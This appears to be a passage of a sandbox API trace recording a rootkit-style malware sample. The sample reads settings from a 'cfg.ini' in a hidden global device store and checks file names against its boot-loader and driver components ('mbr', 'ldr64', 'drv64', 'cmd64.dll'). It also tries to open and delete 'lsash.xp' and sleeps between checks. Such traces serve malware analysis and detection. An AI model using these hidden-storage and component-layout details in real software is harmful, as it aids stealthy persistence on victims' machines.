[0126.267] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.267] KeEnterCriticalRegion () [0126.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.267] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] KeLeaveCriticalRegion () [0126.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.267] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.267] KeEnterCriticalRegion () [0126.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] ExFreePoolWithTag (P=0xfffffa80037dc380, Tag=0x0) [0126.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] KeLeaveCriticalRegion () [0126.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.267] ReleaseMutex (hMutex=0xf0) returned 1 [0126.267] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.267] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.267] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.268] KeEnterCriticalRegion () [0126.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.268] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.268] IdePortDispatch () returned 0x103 [0126.268] KeWaitForMutexObject () returned 0x0 [0126.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.268] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.268] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.268] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.268] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.268] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac68c0 [0126.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.268] KeLeaveCriticalRegion () [0126.268] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.268] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.268] KeEnterCriticalRegion () [0126.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.268] KeLeaveCriticalRegion () [0126.268] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.268] KeEnterCriticalRegion () [0126.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.268] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.268] IdePortDispatch () returned 0x103 [0126.268] KeWaitForMutexObject () returned 0x0 [0126.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.269] KeLeaveCriticalRegion () [0126.269] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.269] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.269] KeEnterCriticalRegion () [0126.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003463000 [0126.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.269] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.269] IdePortDispatch () returned 0x103 [0126.269] KeWaitForMutexObject () returned 0x0 [0126.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.269] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.269] IdePortDispatch () returned 0x103 [0126.269] KeWaitForMutexObject () returned 0x0 [0126.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.269] KeLeaveCriticalRegion () [0126.269] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.270] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.270] KeEnterCriticalRegion () [0126.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] KeLeaveCriticalRegion () [0126.270] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.270] KeEnterCriticalRegion () [0126.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.270] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] KeLeaveCriticalRegion () [0126.270] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.270] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.270] KeEnterCriticalRegion () [0126.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] ExFreePoolWithTag (P=0xfffffa8003ac68c0, Tag=0x0) [0126.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] KeLeaveCriticalRegion () [0126.270] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.270] ReleaseMutex (hMutex=0xf0) returned 1 [0126.270] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.270] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.270] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.270] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.270] KeEnterCriticalRegion () [0126.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.270] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.270] IdePortDispatch () returned 0x103 [0126.271] KeWaitForMutexObject () returned 0x0 [0126.271] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.271] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.271] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.271] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.271] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.271] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.271] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.271] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.271] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.271] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.271] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.271] KeLeaveCriticalRegion () [0126.271] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.271] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.271] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.271] KeEnterCriticalRegion () [0126.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.271] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.271] IdePortDispatch () returned 0x103 [0126.271] KeWaitForMutexObject () returned 0x0 [0126.271] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.271] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.271] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.271] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.271] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.272] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.272] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.272] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.272] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.272] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.272] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.272] KeLeaveCriticalRegion () [0126.272] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.272] ReleaseMutex (hMutex=0x100) returned 1 [0126.272] Sleep (dwMilliseconds=0x2bf20) [0126.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e773270, dwHighDateTime=0x1d24fa4)) [0126.278] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.278] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.278] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.278] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.278] KeEnterCriticalRegion () [0126.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.278] IdePortDispatch () returned 0x103 [0126.278] KeWaitForMutexObject () returned 0x0 [0126.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa930 [0126.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] KeLeaveCriticalRegion () [0126.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.279] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.279] KeEnterCriticalRegion () [0126.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] KeLeaveCriticalRegion () [0126.279] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.279] KeEnterCriticalRegion () [0126.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.279] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.279] IdePortDispatch () returned 0x103 [0126.279] KeWaitForMutexObject () returned 0x0 [0126.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] KeLeaveCriticalRegion () [0126.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.279] KeEnterCriticalRegion () [0126.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003466000 [0126.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.279] IdePortDispatch () returned 0x103 [0126.280] KeWaitForMutexObject () returned 0x0 [0126.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.280] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.280] IdePortDispatch () returned 0x103 [0126.280] KeWaitForMutexObject () returned 0x0 [0126.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.280] KeLeaveCriticalRegion () [0126.280] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.280] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.280] KeEnterCriticalRegion () [0126.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.280] KeLeaveCriticalRegion () [0126.280] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.280] KeEnterCriticalRegion () [0126.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.281] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.281] KeLeaveCriticalRegion () [0126.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.281] KeEnterCriticalRegion () [0126.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.281] ExFreePoolWithTag (P=0xfffffa8003bfa930, Tag=0x0) [0126.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.281] KeLeaveCriticalRegion () [0126.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.281] ReleaseMutex (hMutex=0xf0) returned 1 [0126.281] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.281] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.281] KeEnterCriticalRegion () [0126.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.281] IdePortDispatch () returned 0x103 [0126.281] KeWaitForMutexObject () returned 0x0 [0126.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.282] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.282] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.282] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.282] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.282] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac68c0 [0126.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.282] KeLeaveCriticalRegion () [0126.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.282] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.282] KeEnterCriticalRegion () [0126.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.282] KeLeaveCriticalRegion () [0126.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.282] KeEnterCriticalRegion () [0126.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.282] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) 